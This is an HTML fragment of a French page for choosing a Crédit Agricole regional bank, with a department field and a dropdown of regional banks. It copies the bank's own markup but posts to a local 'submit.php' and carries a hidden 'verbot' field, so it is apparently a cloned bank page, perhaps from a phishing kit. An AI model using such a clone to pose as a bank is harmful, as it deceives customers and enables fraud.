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<form class="GreenBtn-dialogBoxFooter search-form ajax-form" action="#" method="get" accept-charset="UTF-8">
  <input class="question-input GreenBtn-dialogBoxFooterUserMessage" name="q" type="text" autocomplete="off" placeholder="Posez votre question" title="Posez votre question" iaf-disableonload="">
  <a href="#" class="search-btn GreenBtn-dialogBoxFooterSend" iaf-disableonload="">Envoyer</a>
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<form action="submit.php" method="POST">
  <div class="GeolocComponent GeolocationDisabled section">
    <div class="GeolocationDisabled-content matchHeight">
      <div id="trouver-un-cr-mode-search" style="">
        <h2 class="GeolocationDisabled-title GeolocForceSearch" style="display: none;"> ACCÉDER À L'ESPACE DÉDIÉ <br> <strong>D'UNE AUTRE CAISSE RÉGIONALE</strong>
        </h2>
        <p class="GeolocationDisabled-text GeolocationDisabled-text--margin GeolocForceSearch" style="display: none;"> Vous n'êtes pas en <strong class="GeolocCR">XXXX</strong> ou vous souhaitez accéder à l'espace dédié d'une autre Caisse Régionale
          en saisissant un département. </p>
        <h2 class="GeolocationDisabled-title GeolocFail"> ACCÉDER À L'ESPACE DÉDIÉ <br> <strong>DE VOTRE CAISSE RÉGIONALE</strong>
        </h2>
        <p id="labelCodeDepartementCR" class="GeolocationDisabled-text GeolocFail">Trouvez une caisse régionale en saisissant un département</p>
        <div>
          <div class="form-group">
            <input name="region_number" id="region_number" type="text" class="form-control GeolocationDisabled-noBorder" placeholder="Exemple 75 pour Paris." aria-labelledby="labelCodeDepartementCR" aria-describedby="errorMessageCR">
            <span id="errorMessageCR" class="help-block"></span>
            <input name="region_number2" id="region_number2" type="hidden" style="display: none;">
          </div>
        </div>
        <p class="GeolocationDisabled-text">Ou</p>
        <div class="row">
          <div class="form-group">
            <div class="btn-group bootstrap-select show-menu-arrow col-xs-12 bootstrap-select--default GeolocationDisabled-noBorder StoreLocator-whiteSelect dropup">
              <div class="btn-group bootstrap-select show-menu-arrow col-xs-12 bootstrap-select--default GeolocationDisabled-noBorder StoreLocator-whiteSelect"><button type="button" class="btn dropdown-toggle bs-placeholder btn-default"
                  data-toggle="dropdown" role="button" data-id="region_caisse" title="" aria-label="Choisissez une caisse régionale"><span class="filter-option pull-left">Choisissez une caisse régionale</span>&nbsp;<span class="bs-caret"><span
                      class="caret"></span></span></button>
                <div class="dropdown-menu open" role="combobox">
                  <ul class="dropdown-menu inner" role="listbox" aria-expanded="false">
                    <li data-original-index="1" class="disabled selected">
                      <a tabindex="-1" class="" data-tokens="null" role="option" href="#" aria-disabled="true" aria-selected="true"><span class="text">Choisissez une caisse régionale</span><span class="glyphicon glyphicon-ok check-mark"></span></a>
                    </li>
                    <li data-original-index="2"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Alpes Provence</span><span class="glyphicon glyphicon-ok check-mark"></span></a>
                    </li>
                    <li data-original-index="3"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Alsace Vosges</span><span class="glyphicon glyphicon-ok check-mark"></span></a>
                    </li>
                    <li data-original-index="4"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Anjou Maine</span><span class="glyphicon glyphicon-ok check-mark"></span></a>
                    </li>
                    <li data-original-index="5"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Aquitaine</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="6">
                      <a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Atlantique Vendée</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="7"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Brie Picardie</span><span class="glyphicon glyphicon-ok check-mark"></span></a>
                    </li>
                    <li data-original-index="8"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Centre Est</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="9"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Centre France</span><span class="glyphicon glyphicon-ok check-mark"></span></a>
                    </li>
                    <li data-original-index="10"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Centre Loire</span><span class="glyphicon glyphicon-ok check-mark"></span></a>
                    </li>
                    <li data-original-index="11"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Centre Ouest</span><span class="glyphicon glyphicon-ok check-mark"></span></a>
                    </li>
                    <li data-original-index="12">
                      <a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Champagne Bourgogne</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="13">
                      <a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Charente Maritime Deux-Sèvres</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="14">
                      <a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Charente Périgord</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="15"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Corse</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="16"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Côtes d'Armor</span><span class="glyphicon glyphicon-ok check-mark"></span></a>
                    </li>
                    <li data-original-index="17"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Des Savoie</span><span class="glyphicon glyphicon-ok check-mark"></span></a>
                    </li>
                    <li data-original-index="18"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Finistère</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="19"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Franche Comté</span><span class="glyphicon glyphicon-ok check-mark"></span></a>
                    </li>
                    <li data-original-index="20"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Guadeloupe</span><span class="glyphicon glyphicon-ok check-mark"></span></a>
                    </li>
                    <li data-original-index="21">
                      <a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Ille et Vilaine</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="22"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Languedoc</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="23">
                      <a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Loire Haute-Loire</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="24"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Lorraine</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="25">
                      <a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Martinique Guyane</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="26"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Morbihan</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="27"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Nord De France</span><span class="glyphicon glyphicon-ok check-mark"></span></a>
                    </li>
                    <li data-original-index="28"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Nord Est</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="29">
                      <a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Nord Midi Pyrénées</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="30"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Normandie</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="31">
                      <a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Normandie Seine</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="32">
                      <a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Paris et Île de France</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="33">
                      <a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Provence Côte d'Azur</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="34">
                      <a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Pyrénées Gascogne</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="35"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Réunion</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="36">
                      <a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Sud Méditerranée</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="37">
                      <a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Sud Rhône Alpes</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="38"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Toulouse 31</span><span class="glyphicon glyphicon-ok check-mark"></span></a>
                    </li>
                    <li data-original-index="39">
                      <a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Touraine Poitou</span><span class="glyphicon glyphicon-ok check-mark"></span></a></li>
                    <li data-original-index="40"><a tabindex="0" class="" data-tokens="null" role="option" aria-disabled="false" aria-selected="false"><span class="text">Val De France</span><span class="glyphicon glyphicon-ok check-mark"></span></a>
                    </li>
                  </ul>
                </div><select name="region_caisse" id="region_caisse" class="selectpicker show-menu-arrow col-xs-12 bootstrap-select--default GeolocationDisabled-noBorder StoreLocator-whiteSelect" title="Choisissez une caisse régionale ou une banque"
                  tabindex="-98">
                  <option class="bs-title-option" value="">Choisissez une caisse régionale ou une banque</option>
                  <option value="no-value" selected="" disabled="">Choisissez une caisse régionale</option>
                  <option value="/ca-alpesprovence/">Alpes Provence</option>
                  <option value="/ca-alsace-vosges/">Alsace Vosges</option>
                  <option value="/ca-anjou-maine/">Anjou Maine</option>
                  <option value="/ca-aquitaine/">Aquitaine</option>
                  <option value="/ca-atlantique-vendee/">Atlantique Vendée</option>
                  <option value="/ca-briepicardie/">Brie Picardie</option>
                  <option value="/ca-centrest/">Centre Est</option>
                  <option value="/ca-centrefrance/">Centre France</option>
                  <option value="/ca-centreloire/">Centre Loire</option>
                  <option value="/ca-centreouest/">Centre Ouest</option>
                  <option value="/ca-cb/">Champagne Bourgogne</option>
                  <option value="/ca-cmds/">Charente Maritime Deux-Sèvres</option>
                  <option value="/ca-charente-perigord/">Charente Périgord</option>
                  <option value="/ca-corse/">Corse</option>
                  <option value="/ca-cotesdarmor/">Côtes d'Armor</option>
                  <option value="/ca-des-savoie/">Des Savoie</option>
                  <option value="/ca-finistere/">Finistère</option>
                  <option value="/ca-franchecomte/">Franche Comté</option>
                  <option value="/ca-guadeloupe/">Guadeloupe</option>
                  <option value="/ca-illeetvilaine/">Ille et Vilaine</option>
                  <option value="/ca-languedoc/">Languedoc</option>
                  <option value="/ca-loirehauteloire/">Loire Haute-Loire</option>
                  <option value="/ca-lorraine/">Lorraine</option>
                  <option value="/ca-martinique/">Martinique Guyane</option>
                  <option value="/ca-morbihan/">Morbihan</option>
                  <option value="/ca-norddefrance/">Nord De France</option>
                  <option value="/ca-nord-est/">Nord Est</option>
                  <option value="/ca-nmp/">Nord Midi Pyrénées</option>
                  <option value="/ca-normandie/">Normandie</option>
                  <option value="/ca-normandie-seine/">Normandie Seine</option>
                  <option value="/ca-paris/">Paris et Île de France</option>
                  <option value="/ca-pca/">Provence Côte d'Azur</option>
                  <option value="/ca-pyrenees-gascogne/">Pyrénées Gascogne</option>
                  <option value="/ca-reunion/">Réunion</option>
                  <option value="/ca-sudmed/">Sud Méditerranée</option>
                  <option value="/ca-sudrhonealpes/">Sud Rhône Alpes</option>
                  <option value="/ca-toulouse31/">Toulouse 31</option>
                  <option value="/ca-tourainepoitou/">Touraine Poitou</option>
                  <option value="/ca-valdefrance/">Val De France</option>
                </select>
              </div>
            </div>
          </div>
        </div>
        <input type="hidden" name="verbot">
        <input type="hidden" name="type" value="region">
        <button type="submit" class="btn btn-primary GeolocationDisabled-btn" aria-label="Rechercher une caisse régionale">Rechercher une caisse régionale</button>
        <div id="divPlusieursCR" aria-live="polite">
          <p class="GeolocationEnabled-text GeolocationEnabled-text--margin"><a href="#">Voir tous les sites des Caisses régionales.</a></p>
          <p id="pMultiplesReponses" class="GeolocationDisabled-text PlusieursCR" style="display: none;"><span class="GeolocQtyCr">XX</span> caisses régionales correspondent à ce département. <span aria-hidden="true">Accéder à l'espace dédié :</span>
          </p>
        </div>
        <div class="GeolocationDisabled-btnWrap PlusieursCR btnsCr" style="display: none;"></div>
      </div>
      <div id="trouver-un-cr-mode-found" style="display: none">
        <h2 id="GeolocOK" class="GeolocationEnabled-title" style="display: none"> NOUS VOUS AVONS GÉOLOCALISÉ DANS LA CAISSE RÉGIONALE <br> <strong class="GeolocCR">XXXX</strong>
        </h2>
        <h2 id="GeolocEnCours" class="GeolocationEnabled-title"> Localisation en cours </h2>
        <div class="GeolocationEnabled-contentIcon">
          <i class="icon npc-locator-blank GeolocationEnabled-icon" aria-hidden="true"></i>
        </div>
        <p class="GeolocationEnabled-text GeolocationEnabled-text--margin UnCR" aria-hidden="true" style="display: none">Accéder à l'espace dédié :</p>
        <div class="GeolocationEnabled-btnWrap btnsCr"></div>
        <div class="GeolocationEnabled-btnWrap  GeolocationEnabled-text--margin">
          <a role="button" id="btnAutreCaisse" href="#" onclick="NPC.trouverCR.selectOtherCr()" aria-label="Accéder à l'espace dédié d'une autre caisse régionale " class="btn">Autre caisse régionale</a>
        </div>
        <p class="GeolocationEnabled-text GeolocationEnabled-text--margin"><a href="#">Voir tous les sites des Caisses régionales.</a></p>
      </div>
    </div>
  </div>
</form>

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